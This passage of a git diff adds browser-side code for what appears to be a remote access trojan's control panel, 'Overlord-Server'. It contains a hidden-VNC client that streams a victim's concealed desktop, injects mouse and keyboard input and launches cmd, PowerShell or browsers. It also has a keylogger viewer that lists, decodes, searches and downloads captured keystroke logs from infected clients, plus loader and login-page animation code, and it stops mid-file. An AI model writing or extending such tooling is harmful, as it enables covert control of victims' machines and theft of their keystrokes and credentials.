const q = Number(val) || 90; + const codec = q >= 100 ? "raw" : "jpeg"; + console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec); + sendCmd("hvnc_set_quality", { quality: q, codec }); + } + + displaySelect.addEventListener("change", function () { + console.debug("hvnc: select display", displaySelect.value); + sendCmd("hvnc_select_display", { + display: parseInt(displaySelect.value, 10), + }); + }); + + startBtn.addEventListener("click", function () { + if (displaySelect && displaySelect.value !== undefined) { + sendCmd("hvnc_select_display", { + display: parseInt(displaySelect.value, 10) || 0, + }); + } + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + desiredStreaming = true; + lastFrameAt = 0; + setStreamState("starting", "Starting stream"); + sendCmd("hvnc_start", {}); + }); + stopBtn.addEventListener("click", function () { + desiredStreaming = false; + setStreamState("stopping", "Stopping stream"); + sendCmd("hvnc_stop", {}); + }); + fullscreenBtn.addEventListener("click", function () { + if (canvasContainer.requestFullscreen) { + canvasContainer.requestFullscreen(); + } else if (canvasContainer.webkitRequestFullscreen) { + canvasContainer.webkitRequestFullscreen(); + } else if (canvasContainer.mozRequestFullScreen) { + canvasContainer.mozRequestFullScreen(); + } + }); + mouseCtrl.addEventListener("change", function () { + sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); + }); + kbdCtrl.addEventListener("change", function () { + sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); + }); + cursorCtrl.addEventListener("change", function () { + sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked }); + }); + + if (qualitySlider) { + updateQualityLabel(qualitySlider.value); + qualitySlider.addEventListener("input", function () { + updateQualityLabel(qualitySlider.value); + pushQuality(qualitySlider.value); + }); + } + + ws.addEventListener("message", async function (ev) { + if (ev.data instanceof ArrayBuffer) { + const buf = new Uint8Array(ev.data); + if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) { + const fps = buf[5]; + const format = buf[6]; + lastFrameAt = performance.now(); + clearOfflineTimer(); + if (streamState !== "streaming") { + desiredStreaming = true; + setStreamState("streaming", "Streaming"); + } + + if (format === 1) { + const jpegBytes = buf.slice(8); + const blob = new Blob([jpegBytes], { type: "image/jpeg" }); + try { + const bitmap = await createImageBitmap(blob); + canvas.width = bitmap.width; + canvas.height = bitmap.height; + ctx.drawImage(bitmap, 0, 0); + bitmap.close(); + updateFpsDisplay(fps); + } catch { + const img = new Image(); + const url = URL.createObjectURL(blob); + img.onload = function () { + canvas.width = img.width; + canvas.height = img.height; + ctx.drawImage(img, 0, 0); + URL.revokeObjectURL(url); + updateFpsDisplay(fps); + }; + img.src = url; + } + return; + } + + if (format === 2 || format === 3) { + if (buf.length < 8 + 8) return; + const dv = new DataView(buf.buffer, 8); + let pos = 0; + const width = dv.getUint16(pos, true); + pos += 2; + const height = dv.getUint16(pos, true); + pos += 2; + const blockCount = dv.getUint16(pos, true); + pos += 2; + pos += 2; + + if ( + width > 0 && + height > 0 && + (canvas.width !== width || canvas.height !== height) + ) { + canvas.width = width; + canvas.height = height; + } + for (let i = 0; i < blockCount; i++) { + if (pos + 12 > dv.byteLength) break; + const x = dv.getUint16(pos, true); + pos += 2; + const y = dv.getUint16(pos, true); + pos += 2; + const w = dv.getUint16(pos, true); + pos += 2; + const h = dv.getUint16(pos, true); + pos += 2; + const len = dv.getUint32(pos, true); + pos += 4; + const start = 8 + pos; + const end = start + len; + if (end > buf.length) break; + const slice = buf.subarray(start, end); + pos += len; + if (format === 2) { + try { + const bitmap = await createImageBitmap( + new Blob([slice], { type: "image/jpeg" }), + ); + ctx.drawImage(bitmap, x, y, w, h); + bitmap.close(); + } catch {} + } else { + if (slice.length === w * h * 4) { + const imgData = new ImageData(new Uint8ClampedArray(slice), w, h); + ctx.putImageData(imgData, x, y); + } + } + } + updateFpsDisplay(fps); + return; + } + } + + const msg = decodeMsgpack(buf); + if (msg && msg.type === "status" && msg.status) { + handleStatus(msg); + return; + } + return; + } + + const msg = decodeMsgpack(ev.data); + if (msg && msg.type === "status" && msg.status) { + handleStatus(msg); + return; + } + }); + + ws.addEventListener("open", function () { + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + clearOfflineTimer(); + setStreamState("idle", "Stopped"); + fetchClientInfo().then(() => { + if (displaySelect && displaySelect.value) { + console.debug("hvnc: initial select display", displaySelect.value); + sendCmd("hvnc_select_display", { + display: parseInt(displaySelect.value, 10), + }); + } + }); + }); + + ws.addEventListener("close", function () { + desiredStreaming = false; + setStreamState("disconnected", "Disconnected"); + }); + + ws.addEventListener("error", function () { + setStreamState("error", "WebSocket error"); + }); + + if (!frameWatchTimer) { + frameWatchTimer = setInterval(() => { + const now = performance.now(); + if (desiredStreaming) { + if (lastFrameAt && now - lastFrameAt > 2000) { + setStreamState("stalled", "No frames"); + } else if (!lastFrameAt && streamState === "starting") { + setStreamState("starting", "Starting stream"); + } + } else if (streamState !== "offline" && streamState !== "disconnected" && streamState !== "error") { + if (streamState !== "idle") { + setStreamState("idle", "Stopped"); + } + } + }, 1000); + } + + function getCanvasPoint(e) { + let rect = canvas.getBoundingClientRect(); + if (!rect.width || !rect.height) { + rect = canvasContainer?.getBoundingClientRect() || rect; + } + if (!rect.width || !rect.height || !canvas.width || !canvas.height) return null; + let x = ((e.clientX - rect.left) / rect.width) * canvas.width; + let y = ((e.clientY - rect.top) / rect.height) * canvas.height; + if (!Number.isFinite(x) || !Number.isFinite(y)) return null; + x = Math.max(0, Math.min(canvas.width - 1, Math.floor(x))); + y = Math.max(0, Math.min(canvas.height - 1, Math.floor(y))); + return { x, y }; + } + + function flushMouseMove() { + moveTimer = null; + if (!pendingMove || !mouseCtrl.checked) return; + const now = performance.now(); + if (now - lastMoveSentAt < mouseMoveIntervalMs) { + if (!moveTimer) { + moveTimer = setTimeout(flushMouseMove, mouseMoveIntervalMs); + } + return; + } + lastMoveSentAt = now; + if (ws.bufferedAmount <= inputBackpressureBytes) { + sendCmd("hvnc_mouse_move", pendingMove); + } + } + + canvas.addEventListener("mousemove", function (e) { + if (!mouseCtrl.checked) return; + const pt = getCanvasPoint(e); + if (!pt) return; + pendingMove = pt; + if (!moveTimer) { + flushMouseMove(); + } + }); + canvas.addEventListener("mousedown", function (e) { + if (!mouseCtrl.checked) return; + canvas.focus(); + const pt = getCanvasPoint(e); + if (pt) { + pendingMove = pt; + if (ws.bufferedAmount <= inputBackpressureBytes) { + sendCmd("hvnc_mouse_move", pt); + } + } + sendCmd("hvnc_mouse_down", { button: e.button, ...(pt || {}) }); + e.preventDefault(); + }); + canvas.addEventListener("mouseup", function (e) { + if (!mouseCtrl.checked) return; + const pt = getCanvasPoint(e); + if (pt) { + pendingMove = pt; + if (ws.bufferedAmount <= inputBackpressureBytes) { + sendCmd("hvnc_mouse_move", pt); + } + } + sendCmd("hvnc_mouse_up", { button: e.button, ...(pt || {}) }); + e.preventDefault(); + }); + canvas.addEventListener("contextmenu", function (e) { + e.preventDefault(); + }); + + canvas.addEventListener("wheel", function (e) { + if (!mouseCtrl.checked) return; + const pt = getCanvasPoint(e); + if (!pt) return; + const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY))); + sendCmd("hvnc_mouse_wheel", { delta, x: pt.x, y: pt.y }); + e.preventDefault(); + }, { passive: false }); + + canvas.setAttribute("tabindex", "0"); + canvas.addEventListener("click", function () { + canvas.focus(); + }); + if (kbdCtrl) { + kbdCtrl.addEventListener("change", function () { + if (kbdCtrl.checked) { + canvas.focus(); + } + }); + } + canvas.addEventListener("keydown", function (e) { + if (!kbdCtrl.checked) return; + sendCmd("hvnc_key_down", { key: e.key, code: e.code }); + e.preventDefault(); + }); + canvas.addEventListener("keyup", function (e) { + if (!kbdCtrl.checked) return; + sendCmd("hvnc_key_up", { key: e.key, code: e.code }); + e.preventDefault(); + }); + + function stopOnExit() { + if (ws.readyState === WebSocket.OPEN && desiredStreaming) { + desiredStreaming = false; + sendCmd("hvnc_stop", {}); + } + } + + window.addEventListener("beforeunload", stopOnExit); + window.addEventListener("pagehide", stopOnExit); + + function hideContextMenu() { + if (!contextMenu) return; + contextMenu.classList.add("hidden"); + } + + function showContextMenuAt(x, y) { + if (!contextMenu) return; + contextMenu.style.left = `${x}px`; + contextMenu.style.top = `${y}px`; + contextMenu.classList.remove("hidden"); + } + + document.addEventListener("click", (e) => { + if (!contextMenu) return; + if (commandsBtn && commandsBtn.contains(e.target)) { + return; + } + if (!contextMenu.contains(e.target)) { + hideContextMenu(); + } + }); + + if (commandsBtn) { + commandsBtn.addEventListener("click", (e) => { + e.preventDefault(); + e.stopPropagation(); + const rect = commandsBtn.getBoundingClientRect(); + showContextMenuAt(rect.left, rect.bottom + 6); + }); + } + + if (contextMenu) { + contextMenu.querySelectorAll("[data-action]").forEach((item) => { + item.addEventListener("click", (e) => { + const action = e.currentTarget?.dataset?.action; + if (action === "start-cmd") { + sendCmd("hvnc_start_process", { path: "conhost cmd.exe" }); + } else if (action === "start-powershell") { + sendCmd("hvnc_start_process", { path: "conhost powershell.exe" }); + } else if (action === "start-chrome") { + sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" }); + } else if (action === "start-brave") { + sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }); + } else if (action === "start-edge") { + sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" }); + } else if (action === "start-custom") { + const exePath = prompt("Enter exe path (required)"); + if (!exePath) { + hideContextMenu(); + return; + } + const args = prompt("Enter arguments (optional)") || ""; + const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`; + sendCmd("hvnc_start_process", { path: cmd }); + } + hideContextMenu(); + }); + }); + } + + fetchClientInfo(); +})(); diff --git a/Overlord-Server/public/assets/initial-loader.js b/Overlord-Server/public/assets/initial-loader.js new file mode 100644 index 0000000..8de5c96 --- /dev/null +++ b/Overlord-Server/public/assets/initial-loader.js @@ -0,0 +1,50 @@ +(function () { + const start = Date.now(); + const minVisibleMs = 900; + const state = { progress: 0, done: false, raf: 0 }; + + function updateProgress(target) { + state.progress += (target - state.progress) * 0.08; + if (state.progress > 99.4 && !state.done) { + state.progress = 99.4; + } + const value = Math.max(0, Math.min(100, Math.floor(state.progress))); + const pctEl = document.getElementById("app-loader-pct"); + const barEl = document.getElementById("app-loader-bar"); + if (pctEl) pctEl.textContent = `${value}%`; + if (barEl) barEl.style.width = `${value}%`; + } + + function loop() { + const target = state.done ? 100 : 92; + updateProgress(target); + + if (state.done && state.progress >= 99.7) { + const root = document.documentElement; + root.classList.add("app-ready"); + window.setTimeout(() => { + const overlay = document.getElementById("app-loader"); + overlay?.remove(); + }, 520); + return; + } + state.raf = window.requestAnimationFrame(loop); + } + + function finish() { + state.done = true; + const elapsed = Date.now() - start; + const wait = Math.max(0, minVisibleMs - elapsed); + window.setTimeout(() => { + if (!state.raf) { + state.raf = window.requestAnimationFrame(loop); + } + }, wait); + } + + document.addEventListener("DOMContentLoaded", () => { + state.raf = window.requestAnimationFrame(loop); + }); + + window.addEventListener("load", finish, { once: true }); +})(); diff --git a/Overlord-Server/public/assets/keylogger.js b/Overlord-Server/public/assets/keylogger.js new file mode 100644 index 0000000..c625102 --- /dev/null +++ b/Overlord-Server/public/assets/keylogger.js @@ -0,0 +1,715 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +const clientId = window.location.pathname.split("/")[1]; +if (!clientId) { + alert("Missing clientId"); + location.href = "/"; +} + +const clientLabel = document.getElementById("clientLabel"); +const statusPill = document.getElementById("status-pill"); +const fileList = document.getElementById("file-list"); +const refreshBtn = document.getElementById("refreshBtn"); +const clearBtn = document.getElementById("clearBtn"); +const logViewer = document.getElementById("log-viewer"); +const logContent = document.getElementById("log-content"); +const viewingFilename = document.getElementById("viewing-filename"); +const closeViewerBtn = document.getElementById("closeViewerBtn"); +const logLines = document.getElementById("log-lines"); +const logChars = document.getElementById("log-chars"); +const logUpdated = document.getElementById("log-updated"); +const searchInput = document.getElementById("searchInput"); +const clearSearchBtn = document.getElementById("clearSearchBtn"); +const searchNav = document.getElementById("searchNav"); +const searchCount = document.getElementById("searchCount"); +const prevMatchBtn = document.getElementById("prevMatchBtn"); +const nextMatchBtn = document.getElementById("nextMatchBtn"); +const searchAllBtn = document.getElementById("searchAllBtn"); +const globalSearchModal = document.getElementById("globalSearchModal"); +const closeGlobalSearchBtn = document.getElementById("closeGlobalSearchBtn"); +const globalSearchInput = document.getElementById("globalSearchInput"); +const globalSearchClearBtn = document.getElementById("globalSearchClearBtn"); +const globalSearchResults = document.getElementById("globalSearchResults"); +const globalSearchStats = document.getElementById("globalSearchStats"); +const globalSearchProgress = document.getElementById("globalSearchProgress"); +const globalSearchCount = document.getElementById("globalSearchCount"); + +let ws = null; +let fileIndex = new Map(); +let pendingDownload = null; +let currentLogContent = ""; +let searchMatches = []; +let currentMatchIndex = -1; +let globalSearchCache = new Map(); +let globalSearchAbortController = null; + +clientLabel.textContent = clientId; + +function updateStatus(className, text) { + statusPill.className = `pill ${className}`; + statusPill.textContent = text; +} + +function connect() { + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/keylogger/ws`; + + ws = new WebSocket(wsUrl); + ws.binaryType = "arraybuffer"; + + ws.onopen = () => { + console.log("Keylogger connected"); + updateStatus("pill-online", "Connected"); + requestFileList(); + }; + + ws.onmessage = (event) => { + const msg = decodeMsgpack(event.data); + if (!msg) { + console.error("Failed to decode message"); + return; + } + handleMessage(msg); + }; + + ws.onerror = (err) => { + console.error("WebSocket error:", err); + updateStatus("pill-offline", "Connection Error"); + }; + + ws.onclose = () => { + console.log("Keylogger disconnected"); + updateStatus("pill-offline", "Disconnected"); + setTimeout(() => connect(), 3000); + }; +} + +function send(msg) { + if (ws && ws.readyState === WebSocket.OPEN) { + ws.send(encodeMsgpack(msg)); + } +} + +function handleMessage(msg) { + console.log("Received:", msg.type); + + switch (msg.type) { + case "ready": + console.log("Keylogger session ready"); + break; + case "status": + if (msg.status === "offline") { + updateStatus("pill-offline", "Client Offline"); + } + break; + case "keylog_file_list": + displayFileList(msg.files || []); + break; + case "keylog_file_content": + if (pendingDownload && msg.filename === pendingDownload) { + downloadLog(msg.filename, msg.content); + pendingDownload = null; + } else { + displayFileContent(msg.filename, msg.content); + } + break; + case "keylog_clear_result": + if (msg.ok) { + window.showToast("All logs cleared successfully", "success"); + setTimeout(() => { + window.location.reload(); + }, 1000); + } else { + window.showToast(msg.error || "Failed to clear logs", "error"); + } + break; + case "keylog_delete_result": + if (msg.ok) { + window.showToast(`Deleted ${msg.filename}`, "success"); + requestFileList(); + } else { + window.showToast(msg.error || "Failed to delete log", "error"); + } + break; + case "command_result": + if (!msg.ok) { + window.showToast(msg.message || "Command failed", "error"); + } + break; + default: + console.log("Unknown message type:", msg.type); + } +} + +function requestFileList() { + send({ type: "keylog_list" }); +} + +function requestFileContent(filename) { + send({ type: "keylog_retrieve", filename }); +} + +function requestClearAll() { + send({ type: "keylog_clear_all" }); +} + +function requestDeleteFile(filename) { + send({ type: "keylog_delete", filename }); +} + +function downloadLog(filename, content) { + const decoded = rot13Decode(content || ""); + const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" }); + const url = URL.createObjectURL(blob); + const link = document.createElement("a"); + link.href = url; + link.download = filename.replace(/\.log$/i, "") + "-decoded.txt"; + document.body.appendChild(link); + link.click(); + link.remove(); + URL.revokeObjectURL(url); +} + +function displayFileList(files) { + const sortedFiles = (files || []).slice().sort((a, b) => { + const aTime = a?.date ? new Date(a.date).getTime() : 0; + const bTime = b?.date ? new Date(b.date).getTime() : 0; + return bTime - aTime; + }); + + fileIndex = new Map(sortedFiles.map((f) => [f.name, f])); + if (!sortedFiles || sortedFiles.length === 0) { + fileList.innerHTML = ` +
+ +

No log files found

+
+ `; + return; + } + + fileList.innerHTML = sortedFiles + .map( + (file) => ` +
+
+
+ +
+
+
${escapeHtml(file.name)}
+
+ + + ${formatBytes(file.size)} + + + + ${formatDate(file.date)} + +
+
+
+
+ + + +
+
+ ` + ) + .join(""); +} + +function displayFileContent(filename, content) { + logViewer.classList.remove("hidden"); + viewingFilename.textContent = filename; + const decoded = rot13Decode(content || ""); + currentLogContent = decoded; + logContent.innerHTML = renderLogHtml(decoded); + const lineCount = decoded ? decoded.split("\n").length : 0; + logLines.textContent = `Lines: ${lineCount}`; + logChars.textContent = `Chars: ${decoded.length}`; + const meta = fileIndex.get(filename); + logUpdated.textContent = `Updated: ${meta?.date ? formatDate(meta.date) : "-"}`; + logContent.scrollTop = 0; + resetSearch(); +} + +function renderLogHtml(text) { + const escaped = escapeHtml(text); + const withTimestamps = escaped.replace( + /\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g, + '[$1]' + ); + const withWindowTitles = withTimestamps.replace( + /\]\s\[([^\]]+?)\](?=\s)/g, + '] [$1]' + ); + const withKeys = withWindowTitles.replace( + /\[(?!\d{4}-\d{2}-\d{2})([^\]]+)\]/g, + '[$1]' + ); + return withKeys; +} + +function rot13Decode(str) { + return str.replace(/[a-zA-Z]/g, (char) => { + const start = char <= "Z" ? 65 : 97; + return String.fromCharCode( + ((char.charCodeAt(0) - start + 13) % 26) + start + ); + }); +} + +function formatBytes(bytes) { + if (bytes === 0) return "0 B"; + const k = 1024; + const sizes = ["B", "KB", "MB", "GB"]; + const i = Math.floor(Math.log(bytes) / Math.log(k)); + return Math.round(bytes / Math.pow(k, i) * 100) / 100 + " " + sizes[i]; +} + +function formatDate(dateStr) { + if (!dateStr) return "Unknown"; + const date = new Date(dateStr); + return date.toLocaleDateString() + " " + date.toLocaleTimeString(); +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text || ""; + return div.innerHTML; +} + +function resetSearch() { + searchInput.value = ""; + searchMatches = []; + currentMatchIndex = -1; + clearSearchBtn.classList.add("hidden"); + searchNav.classList.add("hidden"); + if (currentLogContent) { + logContent.innerHTML = renderLogHtml(currentLogContent); + } +} + +function performSearch(query) { + if (!query || !currentLogContent) { + resetSearch(); + return; + } + + const lowerQuery = query.toLowerCase(); + const lowerContent = currentLogContent.toLowerCase(); + searchMatches = []; + + let index = 0; + while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) { + searchMatches.push(index); + index += query.length; + } + + if (searchMatches.length > 0) { + currentMatchIndex = 0; + highlightMatches(query); + scrollToMatch(0); + updateSearchUI(); + } else { + logContent.innerHTML = renderLogHtml(currentLogContent); + searchCount.textContent = "0 / 0"; + searchNav.classList.remove("hidden"); + prevMatchBtn.disabled = true; + nextMatchBtn.disabled = true; + } + + clearSearchBtn.classList.remove("hidden"); +} + +function highlightMatches(query) { + const escaped = escapeHtml(currentLogContent); + const regex = new RegExp(escapeRegex(query), "gi"); + let result = escaped.replace(regex, (match, offset) => { + const matchIndex = searchMatches.indexOf(currentLogContent.toLowerCase().indexOf(match.toLowerCase(), offset)); + const isCurrent = matchIndex === currentMatchIndex; + return `${match}`; + }); + + // Apply syntax highlighting + result = result.replace( + /\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g, + '[$1]' + ); + result = result.replace( + /\]\s\[([^\]]+?)\](?=\s)/g, + '] [$1]' + ); + + logContent.innerHTML = result; +} + +function escapeRegex(str) { + return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +} + +function scrollToMatch(index) { + const marks = logContent.querySelectorAll("mark"); + if (marks[index]) { + marks[index].scrollIntoView({ behavior: "smooth", block: "center" }); + } +} + +function updateSearchUI() { + searchNav.classList.remove("hidden"); + searchCount.textContent = `${currentMatchIndex + 1} / ${searchMatches.length}`; + prevMatchBtn.disabled = currentMatchIndex === 0; + nextMatchBtn.disabled = currentMatchIndex === searchMatches.length - 1; + + // Update highlight classes + logContent.querySelectorAll("mark").forEach((mark, idx) => { + if (idx === currentMatchIndex) { + mark.classList.add("search-current"); + mark.classList.remove("search-match"); + } else { + mark.classList.remove("search-current"); + mark.classList.add("search-match"); + } + }); +} + +function navigateSearch(direction) { + if (searchMatches.length === 0) return; + + if (direction === "next") { + currentMatchIndex = Math.min(currentMatchIndex + 1, searchMatches.length - 1); + } else { + currentMatchIndex = Math.max(currentMatchIndex - 1, 0); + } + + scrollToMatch(currentMatchIndex); + updateSearchUI(); +} + +searchInput.addEventListener("input", (e) => { + performSearch(e.target.value); +}); + +clearSearchBtn.addEventListener("click", () => { + resetSearch(); +}); + +prevMatchBtn.addEventListener("click", () => { + navigateSearch("prev"); +}); + +nextMatchBtn.addEventListener("click", () => { + navigateSearch("next"); +}); + +searchAllBtn.addEventListener("click", () => { + globalSearchModal.classList.remove("hidden"); + globalSearchInput.focus(); +}); + +closeGlobalSearchBtn.addEventListener("click", () => { + globalSearchModal.classList.add("hidden"); + if (globalSearchAbortController) { + globalSearchAbortController.abort(); + globalSearchAbortController = null; + } +}); + +globalSearchModal.addEventListener("click", (e) => { + if (e.target === globalSearchModal) { + closeGlobalSearchBtn.click(); + } +}); + +let globalSearchTimeout = null; +globalSearchInput.addEventListener("input", (e) => { + const query = e.target.value.trim(); + + if (query.length > 0) { + globalSearchClearBtn.classList.remove("hidden"); + } else { + globalSearchClearBtn.classList.add("hidden"); + } + + clearTimeout(globalSearchTimeout); + + if (query.length < 3) { + globalSearchResults.innerHTML = ` +
+ +

Enter at least 3 characters to search

+
+ `; + globalSearchStats.classList.add("hidden"); + return; + } + + globalSearchTimeout = setTimeout(() => { + performGlobalSearch(query); + }, 300); +}); + +globalSearchClearBtn.addEventListener("click", () => { + globalSearchInput.value = ""; + globalSearchClearBtn.classList.add("hidden"); + globalSearchResults.innerHTML = ` +
+ +

Enter a search term to find across all log files

+
+ `; + globalSearchStats.classList.add("hidden"); +}); + +async function performGlobalSearch(query) { + if (globalSearchAbortController) { + globalSearchAbortController.abort(); + } + globalSearchAbortController = new AbortController(); + + const files = Array.from(fileIndex.values()); + const lowerQuery = query.toLowerCase(); + const results = []; + + globalSearchResults.innerHTML = ` +
+ +

Searching through ${files.length} files...

+
+ `; + globalSearchStats.classList.remove("hidden"); + globalSearchProgress.textContent = "Searching..."; + globalSearchCount.textContent = ""; + + let processedCount = 0; + + for (const file of files) { + if (globalSearchAbortController.signal.aborted) { + return; + } + + try { + let content = globalSearchCache.get(file.name); + + if (!content) { + content = await loadFileContent(file.name); + globalSearchCache.set(file.name, content); + } + + const lowerContent = content.toLowerCase(); + const matches = []; + let index = 0; + + while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) { + const start = Math.max(0, index - 50); + const end = Math.min(content.length, index + query.length + 50); + let context = content.substring(start, end); + + if (start > 0) context = "..." + context; + if (end < content.length) context = context + "..."; + + matches.push({ + index, + context, + line: content.substring(0, index).split("\n").length + }); + + index += query.length; + } + + if (matches.length > 0) { + results.push({ + file: file.name, + date: file.date, + matches + }); + } + + processedCount++; + globalSearchProgress.textContent = `Searched ${processedCount} / ${files.length} files`; + + } catch (err) { + console.error(`Failed to search ${file.name}:`, err); + } + } + + displayGlobalSearchResults(results, query); +} + +function loadFileContent(filename) { + return new Promise((resolve, reject) => { + let resolved = false; + const timeout = setTimeout(() => { + if (!resolved) { + reject(new Error("Timeout loading file")); + } + }, 10000); + + const handler = (event) => { + const msg = decodeMsgpack(event.data); + if (msg && msg.type === "keylog_file_content" && msg.filename === filename) { + clearTimeout(timeout); + resolved = true; + ws.removeEventListener("message", handler); + resolve(rot13Decode(msg.content || "")); + } + }; + + ws.addEventListener("message", handler); + send({ type: "keylog_retrieve", filename }); + }); +} + +function displayGlobalSearchResults(results, query) { + const totalMatches = results.reduce((sum, r) => sum + r.matches.length, 0); + + globalSearchProgress.textContent = "Search complete"; + globalSearchCount.textContent = `Found ${totalMatches} matches in ${results.length} files`; + + if (results.length === 0) { + globalSearchResults.innerHTML = ` +
+ +

No matches found for "${escapeHtml(query)}"

+
+ `; + return; + } + + const html = results.map(result => ` +
+
+
+ + ${escapeHtml(result.file)} + ${formatDate(result.date)} +
+ + ${result.matches.length} match${result.matches.length !== 1 ? 'es' : ''} + +
+
+ ${result.matches.slice(0, 5).map((match, idx) => ` +
+
Line ${match.line}
+
${highlightQueryInContext(match.context, query)}
+
+ `).join('')} + ${result.matches.length > 5 ? ` +
+ +${result.matches.length - 5} more matches +
+ ` : ''} +
+
+ `).join(''); + + globalSearchResults.innerHTML = html; +} + +globalSearchResults.addEventListener("click", (e) => { + const resultDiv = e.target.closest(".global-search-result"); + if (resultDiv) { + const filename = resultDiv.dataset.filename; + const query = resultDiv.dataset.query; + const targetIndex = parseInt(resultDiv.dataset.index, 10); + openFileWithSearch(filename, query, targetIndex); + } +}); + +function highlightQueryInContext(context, query) { + const escaped = escapeHtml(context); + const regex = new RegExp(`(${escapeRegex(query)})`, 'gi'); + return escaped.replace(regex, '$1'); +} + +function openFileWithSearch(filename, query, targetIndex) { + globalSearchModal.classList.add("hidden"); + requestFileContent(filename); + + setTimeout(() => { + searchInput.value = query; + performSearch(query); + + if (typeof targetIndex === 'number' && searchMatches.length > 0) { + setTimeout(() => { + const matchIdx = searchMatches.indexOf(targetIndex); + if (matchIdx !== -1) { + currentMatchIndex = matchIdx; + scrollToMatch(matchIdx); + updateSearchUI(); + } + }, 100); + } + }, 500); +} + +refreshBtn.addEventListener("click", () => { + requestFileList(); + window.showToast("Refreshing file list...", "info"); +}); + +clearBtn.addEventListener("click", () => { + if ( + confirm( + "Are you sure you want to clear all keylog files? This action cannot be undone." + ) + ) { + requestClearAll(); + } +}); + +closeViewerBtn.addEventListener("click", () => { + logViewer.classList.add("hidden"); +}); + +fileList.addEventListener("click", (event) => { + const target = event.target.closest("button"); + if (!target) return; + const filename = target.dataset.filename; + if (!filename) return; + + if (target.classList.contains("view-log-btn")) { + requestFileContent(filename); + return; + } + + if (target.classList.contains("download-log-btn")) { + pendingDownload = filename; + requestFileContent(filename); + return; + } + + if (target.classList.contains("delete-log-btn")) { + if (confirm(`Delete ${filename}? This cannot be undone.`)) { + requestDeleteFile(filename); + } + } +}); + +import("/assets/nav.js"); +connect(); diff --git a/Overlord-Server/public/assets/login.js b/Overlord-Server/public/assets/login.js new file mode 100644 index 0000000..74f7a27 --- /dev/null +++ b/Overlord-Server/public/assets/login.js @@ -0,0 +1,253 @@ +const form = document.getElementById("login-form"); +const user = document.getElementById("user"); +const pass = document.getElementById("pass"); +const errEl = document.getElementById("error"); + +if (typeof anime !== "undefined") { + const particles = document.querySelectorAll(".particle"); + particles.forEach((particle, i) => { + anime({ + targets: particle, + translateX: () => anime.random(-100, 100), + translateY: () => anime.random(-100, 100), + scale: () => anime.random(0.5, 1.5), + opacity: [0, 0.6, 0], + duration: () => anime.random(3000, 6000), + delay: i * 200, + easing: "easeInOutQuad", + loop: true, + }); + }); + + anime + .timeline() + .add({ + targets: ".login-card", + opacity: [0, 1], + translateY: [30, 0], + duration: 800, + easing: "easeOutExpo", + }) + .add( + { + targets: ".login-crown-wrapper", + scale: [0, 1], + rotate: [180, 0], + duration: 600, + easing: "easeOutBack", + }, + "-=400", + ) + .add( + { + targets: ".login-brand", + opacity: [0, 1], + translateY: [-10, 0], + duration: 500, + easing: "easeOutQuad", + }, + "-=300", + ) + .add( + { + targets: ".login-title, .login-subtitle", + opacity: [0, 1], + translateY: [10, 0], + duration: 500, + delay: anime.stagger(100), + easing: "easeOutQuad", + }, + "-=300", + ) + .add( + { + targets: ".form-group", + opacity: [0, 1], + translateY: [15, 0], + duration: 500, + delay: anime.stagger(100), + easing: "easeOutQuad", + }, + "-=300", + ) + .add( + { + targets: ".login-btn", + opacity: [0, 1], + scale: [0.95, 1], + duration: 400, + easing: "easeOutQuad", + }, + "-=200", + ); + + anime({ + targets: ".login-crown", + scale: [1, 1.1, 1], + duration: 2000, + easing: "easeInOutQuad", + loop: true, + }); + + const loginBtn = document.querySelector(".login-btn"); + if (loginBtn) { + const prefersReducedMotion = window.matchMedia( + "(prefers-reduced-motion: reduce)", + ).matches; + let particleInterval = prefersReducedMotion ? 0 : 220; + let currentInterval; + + function createParticle() { + const btnRect = loginBtn.getBoundingClientRect(); + const particle = document.createElement("div"); + particle.className = "login-btn-particle"; + + const edge = Math.random(); + let startX, startY, moveX, moveY; + + if (edge < 0.7) { + startX = btnRect.left + Math.random() * btnRect.width; + startY = btnRect.bottom; + moveX = anime.random(-20, 20); + moveY = anime.random(40, 80); + } else if (edge < 0.8) { + startX = btnRect.left; + startY = btnRect.top + Math.random() * btnRect.height; + moveX = anime.random(-50, -25); + moveY = anime.random(-15, 25); + } else if (edge < 0.9) { + startX = btnRect.right; + startY = btnRect.top + Math.random() * btnRect.height; + moveX = anime.random(25, 50); + moveY = anime.random(-15, 25); + } else { + startX = btnRect.left + Math.random() * btnRect.width; + startY = btnRect.top; + moveX = anime.random(-25, 25); + moveY = anime.random(-50, -25); + } + + const size = anime.random(3, 7); + particle.style.width = size + "px"; + particle.style.height = size + "px"; + particle.style.left = startX + "px"; + particle.style.top = startY + "px"; + + document.body.appendChild(particle); + + anime({ + targets: particle, + translateX: [0, moveX], + translateY: [0, moveY], + opacity: [0, 0.9, 0.7, 0], + scale: [0.5, 1, 0.8, 0.3], + rotate: anime.random(-180, 180), + duration: anime.random(1200, 2000), + easing: "easeOutQuad", + complete: () => particle.remove(), + }); + } + + function startParticles(interval) { + if (currentInterval) clearInterval(currentInterval); + if (interval > 0) { + currentInterval = setInterval(createParticle, interval); + } + } + + startParticles(particleInterval); + + loginBtn.addEventListener("mouseenter", () => { + if (!prefersReducedMotion) { + startParticles(120); + } + }); + + 